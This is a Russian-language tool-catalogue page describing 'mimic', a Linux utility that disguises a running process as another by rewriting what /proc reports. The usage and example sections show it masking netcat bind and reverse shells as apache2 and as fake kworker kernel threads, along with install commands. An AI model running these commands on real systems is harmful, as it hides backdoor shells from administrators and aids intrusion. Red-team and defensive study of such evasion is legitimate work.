Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
mimic — Скрытие процессов от обычного пользователя в Linux. | Kitploit
Инструменты/GitHubGitHub/emptymonkey/mimic
Обход IDS/IPSТестирование на ПроникновениеRed Teaming
GitHubemptymonkey/mimic

mimic

Скрытие процессов от обычного пользователя в Linux.

Репозиторий
263512 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

mimic

mimic — это инструмент для скрытого выполнения на Linux x86_64.

Что такое «скрытое выполнение»?

Скрытое выполнение — это искусство сокрытия процесса. В данном случае mimic скрывает процесс на виду. mimic может запустить любую программу и сделать её похожей на любую другую программу. Любой пользователь может его использовать. Для этого не требуются специальные привилегии. Не требуются специальные бинарные файлы. Не требуется руткит.

Что?! Без специальных привилегий??

Верно. mimic работает, перестраивая внутренние структуры процесса таким образом, что это вводит в заблуждение запись /proc для этого процесса. Все инструменты, сообщающие о природе процесса, делают это, изучая /proc. Если мы можем изогнуть /proc, то мы можем скрыть процесс на виду. Поскольку мы изменяем только состояние процесса, которым владеем, любой может успешно запустить mimic.

Можно ли это обнаружить?!

Конечно, но только если вы присматриваетесь очень внимательно или запускаете криминалистический инструмент, который ищет подобные вещи. Полезность mimic заключается в том, что он предотвратит возникновение подозрений изначально.

Будет ли это работать со скриптами?

Да, но вам нужно вызывать mimic напрямую для интерпретатора. Например, если первая строка вашего скрипта — "#!/usr/bin/perl", то вы захотите вызвать mimic так:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

Вызывая интерпретатор напрямую, mimic может творить своё волшебство.

Кто является целевой аудиторией mimic?

Любой, кому законно необходимо скрытое выполнение до получения root. Это включает, но не ограничивается:

  • Пентестеры.
  • Следователи, проводящие скрытые операции (с предварительного одобрения их юридического отдела и отдела кадров, конечно.)

Почему это называется «mimic»?

Потому что «Лжец, лжец, /proc горит!» было слишком длинно.

Что такое «set_target_pid»?

set_target_pid — это небольшая вспомогательная программа в комплекте mimic, которая будет исчерпывать pid-ы до тех пор, пока нужный вам не вернётся. Это позволяет вам выбрать место в списке процессов, где будет находиться ваш процесс. Обратите внимание, что ядро резервирует первые 300 pid-ов для потоков ядра. Если вы попытаетесь опуститься ниже этого числа, скорее всего, вы получите pid 301.

Использование

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Execute COMMAND.
	-m	Setup COMMAND to look like MIMIC.
			Default for non-root is:    "/usr/sbin/apache2 -k start"
			Default for root is:        "[kworker/0:0]"
	-b	Launch COMMAND in the background.
	-a	Add / overwrite KEY to the mimic environment with associated VALUE.
	-q	Be quiet! Do not print normal output.
	-h	Print this helpful message.

	Notes:
		The MIMIC environment will be a copy of the COMMAND environment.
		The '_' variable is automatically changed.
		The -a flag can be called multiple times to add / overwrite multiple variables.

	Examples:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Примеры

Первый пример — запуск слушателя netcat от имени обычного пользователя:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Второй пример — запуск обратной оболочки netcat от root:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Сможете ли вы заметить поддельные kworker? Смогли бы вы без помощи grep?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Конечно, ни один kworker не должен иметь открытого сокета, но я уверен, что вы можете быть более креативны в выборе имён, чем это. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Обратите внимание, что я запускаю здесь от root только потому, что поток kworker должен быть очень подозрительным при запуске от непривилегированного пользователя. Новое имя mimic — это просто строка. Оно не должно быть существующим процессом. Да оно вообще не обязано быть реальной вещью!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Установка

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
Скачать инструмент